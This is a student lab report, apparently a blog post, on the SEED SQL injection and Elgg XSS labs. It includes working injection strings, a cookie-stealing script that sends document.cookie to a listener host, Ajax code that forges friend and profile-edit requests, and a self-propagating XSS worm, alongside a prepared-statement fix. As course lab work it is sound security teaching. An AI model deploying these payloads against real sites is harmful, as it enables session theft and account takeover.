20221921 2022-2023-2 《网络攻防实践》实践十报告

20221921 2022-2023-2 《网络攻防实践》实践十报告

1.实践内容

1.1 web应用程序

Web应用程序是一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件。
应用程序有两种模式C/S、B/S。C/S是客户端/服务器端程序,也就是说这类程序一般独立运行。而B/S就是浏览器端/服务器端应用程序,这类应用程序一般借助IE等浏览器来运行。WEB应用程序一般是B/S模式。Web应用程序首先是“应用程序”,和用标准的程序语言,如C、C++等编写出来的程序没有什么本质上的不同。然而Web应用程序又有自己独特的地方,就是它是基于Web的,而不是采用传统方法运行的。换句话说,它是典型的浏览器/服务器架构的产物。
一个Web应用程序是由完成特定任务的各种Web组件(Web components)构成的并通过Web将服务展示给外界。在实际应用中,Web应用程序是由多个Servlet、JSP页面、HTML文件以及图像文件等组成。所有这些组件相互协调为用户提供一组完整的服务。

1.2 B/S架构优点

浏览器/服务器架构(Browser/Server,简称B/S)能够很好地应用在广域网上,成为越来越多的企业的选择。浏览器/服务器架构相对于其他几种应用程序体系结构,有如下3方面的优点:
(1)这种架构采用Internet上标准的通信协议(通常是TCP/IP协议)作为客户机同服务器通信的协议。这样可以使位于Internet任意位置的人都能够正常访问服务器。对于服务器来说,通过相应的Web服务和数据库服务可以对数据进行处理。对外采用标准的通信协议,以便共享数据。
(2)在服务器上对数据进行处理,就处理的结果生成网页,以方便客户端直接下载。
(3)在客户机上对数据的处理被进一步简化,将浏览器作为客户端的应用程序,以实现对数据的显示。不再需要为客户端单独编写和安装其他类型的应用程序。这样,在客户端只需要安装一套内置浏览器的操作系统,如Window98或Windows2000或直接安装一套浏览器,就可以实现服务器上数据的访问。而浏览器是计算机的标准设备。

1.3 SQL注入攻击

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。

1.4 XSS攻击

1.4.1 XSS

跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。

1.4.2 XSS攻击

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

1.5 实验内容

一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。

2.实践过程

将主机名更改为姓名拼音。
在这里插入图片描述

2.1 SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句

在虚拟机中启动mysql,输入命令mysql -u root -p,输入密码seedubuntu。
在这里插入图片描述
输入命令show databases;查看所有数据库。
在这里插入图片描述
输入命令use Users;使用数据库。输入show tables;查看数据库中的表。
在这里插入图片描述
可以看到数据库中有credential表,输入命令select * from credential;查看此表的内容。
在这里插入图片描述
在这里插入图片描述
输入命令select * from credential where Name=‘Alice’;查看Alice的相关信息。
在这里插入图片描述

2.1.2 对SELECT语句的SQL注入攻击过程:

在seedubuntu的浏览器进入www.SEEDLabSQLInjection.com网页。
在这里插入图片描述
查看网页源代码,发现访问unsafe home.php可以使用get方法。
在这里插入图片描述
可以通过var/www/SQLInjection/unsafe_home.php查看相关文件。
在这里插入图片描述
打开文件,进一步分析文件中的代码,发现admin和普通用户的登陆方式不同。
在这里插入图片描述
在这里插入图片描述
输入用户名Admin‘#,密码随便输入。
在这里插入图片描述
可以发现,能成功登录。
在这里插入图片描述

2.1.3 对 UPDATE语句的SQL注入攻击

查看 Edit Profile ,右键查看源代码。可以看到,访问unsafe_edit_backend.php 页面也可以使用get方法。
在这里插入图片描述
根据路径 var/www/SQLInjection/unsafe_edit_backend.php找到文件,并查看 unsafe_edit_backend.php 页面。
可以使用 $input_nickname 来进行SQL注入攻击,使 $input_nickname 的值等于 ', Salary=‘20221921’ where name=‘Alice’; #,即将Alice的Salary值改为20221921。
在这里插入图片描述

在这里插入图片描述
可以看到,修改成功。
在这里插入图片描述

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞

通过路径var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件, 查看源代码。
在这里插入图片描述
对SQL语句进行修复,修改后的代码如下:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1显示警报窗口

在seedubuntu的浏览器中进入www.xsslabelgg.com网页。
在这里插入图片描述
输入用户名Alice,密码seedalice,进行登录。
在这里插入图片描述
在这里插入图片描述
点击头像下面的Edit prolife,进入界面。
在这里插入图片描述
在Brief description中输入<script>alert('xss');</script>,点击save进行保存。
在这里插入图片描述
然后再个人简介页面出现“XSS”弹窗。
在这里插入图片描述

2.2.2 弹窗显示cookie信息

将Brief description中的信息修改为<script>alert(document.cookie);</script>,点击save进行保存。
在这里插入图片描述
Alice的个人简介中出现cookie的弹窗。
在这里插入图片描述

2.2.3 窃取受害者的cookies

根据seed的IP地址构造xss攻击代码,使用1921端口,将Brief description 中的代码修改为<script>document.write('<img src=http://192.168.200.4:1921?c='+escape(document.cookie) + ' >');</script> ,然后保存。
在这里插入图片描述
输入命令nc -l 1921 -v,进行监听。
在这里插入图片描述
输入用户名Boby,密码seedboby,进入主页。
在这里插入图片描述
和Alice成为好友。
在这里插入图片描述
成功得到cookie的值。
在这里插入图片描述

2.4 成为受害者的朋友

进入Boby的主页,点击add friend。
**加粗样式**
按下ctrl+shift+E,打开开发者工具,然后切换到Network选项卡。
得到URL为:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1684192421&__elgg_token=DzPdeg9LU3emW6M8bN6e3w&__elgg_ts=1684192421&__elgg_token=DzPdeg9LU3emW6M8bN6e3w
构造XSS攻击代码,如下:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

先进入Alice的edit profile,找到about me,把代码放到Alice的 About me 下并选择 Edit HTML 模式,点击保存。
在这里插入图片描述
登录Alice的主页,发现已经和Boby成为好友。
在这里插入图片描述

2.2.5 修改受害者的信息

再次打开ctrl+shift+E,进入Alice的修改界面,将about me修改为自己的姓名拼音,save保存,分析相关代码。
在这里插入图片描述
可以看到token和时间戳。
在这里插入图片描述
根据以上相关信息,构造XSS攻击代码,如下:

<script type="text/javascript">
	window.onload = function(){
	
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.qiaoyaxin </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		
		var samyGuid=44;
		
		if(elgg.session.user.guid!=samyGuid)
		{

			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

复制到about me中,然后保存。
在这里插入图片描述
使用Boby的账号进入Alice主页,发现弹窗。
在这里插入图片描述
再返回到Boby的主页,发现about me已经更改为this had been changed by xss attack.qiaoyaxin。
在这里插入图片描述

2.2.6 编写XSS蠕虫

根据前面的信息构造蠕虫代码,如下:

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack.qiaoyaxin"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		var samyGuid=44;
		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}		
	}
</script>

将代码复制到Alice的about me中,进行保存。
在这里插入图片描述
Boby访问了Alice就会感染XSS蠕虫。
在这里插入图片描述
打开Boby的about me,发现已经更改。
在这里插入图片描述

2.2.7 对抗XSS攻击

登录用户名Admin,密码seedelgg,进入Admin主页,打开Account-Administration-plugins。
在这里插入图片描述
找到 HTMLawed ,关闭,即设为 Deactivate 状态。
在这里插入图片描述
再次登录Boby的账号,发现XSS蠕虫攻击失效。
在这里插入图片描述

3.学习中遇到的问题及解决

问题1:做实验中途遇到虚拟机不能复制粘贴的问题。
问题1解决方案:下载VMTools,查找网上的资料,但是安装不了,于是拷贝了同学的虚拟机。

4.实践总结

这次实验学习了SQL注入攻击和XSS攻击,对两种攻击有了一定的了解,虽然步骤有些繁琐,但是收获很多。

参考资料

  • 《网络攻防技术与实践》
  • 博客园
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值